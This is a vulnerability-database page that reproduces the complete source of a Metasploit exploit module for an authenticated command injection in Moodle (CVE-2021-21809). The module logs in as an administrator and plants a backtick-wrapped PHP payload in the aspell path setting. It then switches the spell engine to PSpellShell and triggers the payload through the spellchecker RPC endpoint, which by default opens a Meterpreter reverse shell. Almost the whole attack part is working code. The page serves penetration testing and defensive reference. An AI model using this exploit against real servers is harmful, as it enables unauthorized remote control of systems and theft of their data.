Lucene search
K

Moodle SpellChecker Path Authenticated Remote Command Execution

🗓️ 12 Oct 2021 17:42:26Reported by Adam Reiser, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 211 Views

Moodle SpellChecker Path Authenticated Remote Command Execution module for Metasploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Moodle Remote Command Execution Vulnerability
31 Oct 201300:00
zdt
0day.today
Moodle SpellChecker Path Authenticated Remote Command Execution Exploit
13 Oct 202100:00
zdt
0day.today
Moodle Authenticated Spelling Binary Remote Code Execution Exploit
13 Oct 202100:00
zdt
Circl
CVE-2013-3630
31 Oct 201300:00
circl
Circl
CVE-2021-21809
24 Jun 202102:17
circl
CNNVD
Moodle 操作系统命令注入漏洞
22 Jun 202100:00
cnnvd
CNVD
Moodle Command Execution Vulnerability
25 Jun 202100:00
cnvd
Check Point Advisories
Moodle Spellcheck Remote Command Execution (CVE-2013-3630)
18 Nov 201400:00
checkpoint_advisories
Check Point Advisories
Moodle Command Injection (CVE-2021-21809)
26 Jul 202100:00
checkpoint_advisories
CVE
CVE-2013-3630
1 Nov 201301:00
cve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Moodle

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Moodle SpellChecker Path Authenticated Remote Command Execution',
        'Description' => %q{
          Moodle allows an authenticated administrator to define spellcheck settings via the web interface.
          An administrator can update the aspell path to include a command injection. This is extremely
          similar to CVE-2013-3630, just using a different variable.

          This module was tested against Moodle version 3.11.2, 3.10.0, and 3.8.0.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Adam Reiser', # Discovery
          'h00die' # msf module
        ],
        'References' => [
          ['CVE', '2021-21809'],
          ['URL', 'http://web.archive.org/web/20250221153941/https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277']
        ],
        'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },
        'Payload' => {
          'BadChars' => "'"
        },
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['Automatic', {}]],
        'DisclosureDate' => '2021-06-22',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
        OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']),
      ]
    )
  end

  def change_aspellpath(value = '')
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
      'vars_get' =>
        {
          'section' => 'systempaths'
        },
      'keep_cookies' => true
    })
    fail_with(Failure::Unreachable, 'Error retrieving settings') unless res
    res.body =~ /sesskey":"([^"]+)"/
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
      'vars_get' =>
        {
          'section' => 'systempaths'
        },
      'vars_post' =>
        {
          'section' => 'systempaths',
          'action' => 'save-settings',
          'sesskey' => Regexp.last_match(1),
          'return' => '',
          's__pathtophp' => '',
          's__pathtodu' => '',
          's__aspellpath' => value,
          's__pathtodot' => '',
          's__pathtogs' => '/usr/bin/gs',
          's__pathtopython' => ''
        },
      'keep_cookies' => true
    })
  end

  def set_spellchecker(checker = '')
    # '' is None in the gui, and is the default
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
      'vars_get' =>
        {
          'section' => 'tinymcespellcheckersettings'
        },
      'keep_cookies' => true
    })
    fail_with(Failure::Unreachable, 'No response received from the target.') unless res
    res.body =~ /sesskey":"([^"]+)"/
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
      'vars_get' =>
        {
          'section' => 'tinymcespellcheckersettings'
        },
      'vars_post' =>
        {
          'section' => 'tinymcespellcheckersettings',
          'action' => 'save-settings',
          'sesskey' => Regexp.last_match(1),
          'return' => '',
          's_tinymce_spellchecker_spellengine' => checker,
          's_tinymce_spellchecker_spelllanguagelist' => '+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv' # default
        },
      'keep_cookies' => true
    })

    fail_with(Failure::Unreachable, 'No response received from the target.') unless res
  end

  def check
    return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?

    v = moodle_version
    return CheckCode::Detected('Unable to determine moodle version') if v.nil?
    # according to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after installation
    # so maybe this is not going to get patched?  Assuming 3.0.0+
    if Rex::Version.new(v) > Rex::Version.new('3.0.0')
      return CheckCode::Appears("Exploitable Moodle version #{v} detected")
    end

    CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
  end

  def exploit
    print_status("Authenticating as user: #{datastore['USERNAME']}")
    cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
    fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?
    cookies.each do |cookie|
      cookie_jar.add(cookie)
    end
    print_status('Updating aspell path')
    # Site administration, Server, Server, System paths
    change_aspellpath("`php -r \"#{payload.encoded}\" &`")

    print_status('Changing spell engine to PSpellShell')
    set_spellchecker('PSpellShell')
    # Administration, Plugins, Text editors, TinyMCE HTML editor, Legacy Spell Checker
    spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'

    print_status('Triggering payload')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'plugins', 'spellchecker', 'rpc.php'),
      'data' => spellcheck,
      'ctype' => 'application/json',
      'keep_cookies' => true
    })

    fail_with(Failure::Unreachable, 'Error triggering payload') if res
  end

  # prefer cleanup over on_session since we may have changed things, regardless of successful exploit
  def cleanup
    print_status('Sleeping 5 seconds before cleanup')
    Rex.sleep(5)
    print_status("Authenticating as user: #{datastore['USERNAME']}")
    cookie_jar.clear # clear cookies to prevent timeouts
    cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
    if cookies.nil? || cookies.empty?
      print_bad('Failed login during cleanup')
    else
      cookies.each do |cookie|
        cookie_jar.add(cookie)
      end
      print_status('Removing RCE from settings')
      change_aspellpath
      set_spellchecker
    end
    super
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Apr 2026 19:01Current
8.4High risk
Vulners AI Score8.4
CVSS 29
CVSS 3.19.1
CVSS 38.2
EPSS0.72901
211